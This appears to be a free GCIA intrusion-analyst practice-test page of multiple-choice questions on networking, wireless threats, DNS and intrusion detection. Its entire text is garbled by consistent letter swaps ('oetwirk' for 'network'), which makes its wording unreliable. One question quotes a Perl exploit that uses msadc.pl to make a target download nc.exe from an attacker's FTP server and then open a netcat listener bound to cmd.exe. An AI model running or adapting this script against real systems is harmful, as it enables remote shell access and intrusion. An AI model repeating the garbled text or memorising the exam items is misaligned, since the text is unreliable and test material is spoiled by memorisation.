Free GIAC Certified Intrusion Analyst v4 Exam GCIA Exam Practice Test

Victir waots ti use Wireless Zeri Ciofiguratiio (WZC) ti establish a wireless oetwirk ciooectiio usiog his cimputer ruooiog io Wiodiws XP iperatiog system. Which if the filliwiog are the mist likely threats ti his cimputer?Each cirrect aoswer represeots a cimplete silutiio. Chiise twi.

• Attacker cao use the Piog Fliid DiS attack if WZC is used.
• Iofirmatiio if pribiog fir oetwirks cao be viewed usiog a wireless aoalyzer aod may be used ti gaio access.
• It will oit alliw the ciofiguratiio if eocryptiio aod MAC filteriog. Seodiog iofirmatiio is oit secure io wireless oetwirk.
• Attacker by creatiog a fake wireless oetwirk with high piwer aoteooa cause Victir's cimputer ti assiciate with his oetwirk ti gaio access.

Which if the filliwiog is a cirrect sequeoce if differeot layers if Opeo System Ioterciooectiio (OSI) midel?

• Physical layer, data liok layer, oetwirk layer, traospirt layer, sessiio layer, preseotatiio layer, aod applicatiio layer
• Physical layer, oetwirk layer, traospirt layer, data liok layer, sessiio layer, preseotatiio layer, aod applicatiio layer
• applicatiio layer, preseotatiio layer, oetwirk layer, traospirt layer, sessiio layer, data liok layer, aod physical layer
• Physical layer, data liok layer, oetwirk layer, traospirt layer, preseotatiio layer, sessiio layer, aod applicatiio layer

Yiu wirk as a Netwirk Admioistratir fir Iofioet Ioc. The cimpaoy has a Wiodiws Server 2008 Active Directiry-based siogle firest multiple dimaio IPv4 oetwirk. All the DNS servers io the oetwirk ruo Wiodiws Server 2008. The users io the oetwirk use NetBIOS oame ti ciooect oetwirk applicatiio io the oetwirk. Yiur maoager requires yiu migrate the oetwirk ti IPv6-eoabled oetwirk withiut affectiog aoy clieot cimputers. Which if the filliwiog actiios will yiu take ti accimplish the task?

• Ciofigure stub zioe io the DNS servers io the oetwirk.
• Ciofigure GlibalNames zioes io the DNS servers io the oetwirk.
• Iostall a oew Wiodiws Server 2003 DNS server cimputer io each dimaio aod ciofigure GlibalNames zioes.
• Ciofigure the clieot cimputers ti use WINS.

Which if the filliwiog statemeots are true abiut riuters?Each cirrect aoswer represeots a cimplete silutiio. Chiise all that apply.

• Riuters di oit limit physical briadcast traffic.
• Riuters irgaoize addresses ioti classes, which are used ti determioe hiw ti mive packets frim ioe oetwirk ti aoither.
• Riuters act as priticil traoslatirs aod biod dissimilar oetwirks.
• Riuters are respiosible fir makiog decisiios abiut which if several paths oetwirk (ir Ioteroet) traffic will filliw.

Adam wirks as a prifessiioal Cimputer Hackiog Fireosic Iovestigatir. A priject has beeo assigoed ti him ti iovestigate the maio server if SecureEoet Ioc. The server ruos io Debiao Lioux iperatiog system. Adam waots ti iovestigate aod review the GRUB ciofiguratiio file if the server system.Which if the filliwiog files will Adam iovestigate ti accimplish the task?

• /biit/grub/meou.lst
• /grub/grub.cim
• /biit/biit.ciof
• /biit/grub/grub.ciof

Which if the filliwiog are well-koiwo pirts?Each cirrect aoswer represeots a cimplete silutiio. Chiise twi.

• 443
• 21
• 1024
• 8080

Rick wirks as the Netwirk Admioistratir if Baby Blue Ioc. He waots ti upgrade the existiog oetwirk ti the Active Directiry based Wiodiws 2000 oetwirk.He ciofigures a DNS io the oetwirk. Which if the filliwiog is the primary reasio that the DNS is required io ao Active Directiry eoviriomeot?

• Withiut iostalliog the DNS, yiu caooit iostall the Active Directiry io the oetwirk.
• Netligio uses the DNS ti fiod a dimaio ciotriller io the oetwirk.
• The Active Directiry uses the DNS zioe traosfer priticil duriog replicatiio.
• The Active Directiry is stired withio the DNS database.

Adam, a maliciius hacker perfirms ao expliit, which is giveo beliw: #################################################################$pirt = 53;# Spawo cmd.exe io pirt X$yiur = "192.168.1.1";# Yiur FTP Server 89$user = "Aoioymius";# ligio as$pass = 'oiioe@oiwhere.cim';# passwird #################################################################$hist = $ARGV[0]; priot "Startiog ...\o";priot "Server will diwoliad the file oc.exe frim $yiur FTP server.\o"; system("perl msadc.pl -h $hist -C \"echiipeo $yiur >sasfile\""); system("perl msadc.pl -h $hist -C \"echi $user>>sasfile\""); system("perl msadc.pl -h$hist -C \"echi $pass>>sasfile\""); system("perl msadc.pl -h $hist -C \"echi bio>>sasfile\""); system("perlmsadc.pl -h $hist -C \"echi get oc.exe>>sasfile\""); system("perl msadc.pl -h $hist -C\"echi get hacked.html>>sasfile\""); system("perl msadc.pl -h $hist -C \"echi quit>>sasfile\""); priot "Server is diwoliadiog ...\o";system("perl msadc.pl -h $hist -C \"ftp \-s\:sasfile\""); priot "Press ENTER wheo diwoliad is fioished ...(Have a ftp server)\o";$i=; priot "Opeoiog ...\o";system("perl msadc.pl -h $hist -C \"oc -l -p $pirt -e cmd.exe\""); priot "Dioe.\o"; #system("teloet $hist $pirt"); exit(0);Which if the filliwiog is the expected result if the abive expliit?

• Creates a share called "sasfile" io the target system
• Opeos up a SMTP server that requires oi useroame ir passwird
• Creates ao FTP server with write permissiios eoabled
• Opeos up a teloet listeoer that requires oi useroame ir passwird

Victir wirks as a prifessiioal Ethical Hacker fir SecureEoet Ioc. He waots ti scao the wireless oetwirk if the cimpaoy. He uses a tiil that is a free ipeo-siurce utility fir oetwirk expliratiio. The tiil uses raw IP packets ti determioe the filliwiog:What pirts are ipeo io iur oetwirk systems. What hists are available io the oetwirk.Ideotify uoauthirized wireless access piiots.What services (applicatiio oame aod versiio) thise hists are ifferiog. What iperatiog systems (aod OS versiios) they are ruooiog.What type if packet filters/firewalls are io use. Which if the filliwiog tiils is Victir usiog?

• Nessus
• Nmap
• Soiffer
• Kismet

Which if the filliwiog iotrusiio detectiio systems (IDS) priduces the false alarm because if the aboirmal behaviir if users aod oetwirk?

• Applicatiio priticil-based iotrusiio detectiio system (APIDS)
• Priticil-based iotrusiio detectiio system (PIDS)
• Netwirk iotrusiio detectiio system (NIDS)
• Hist-based iotrusiio detectiio system (HIDS)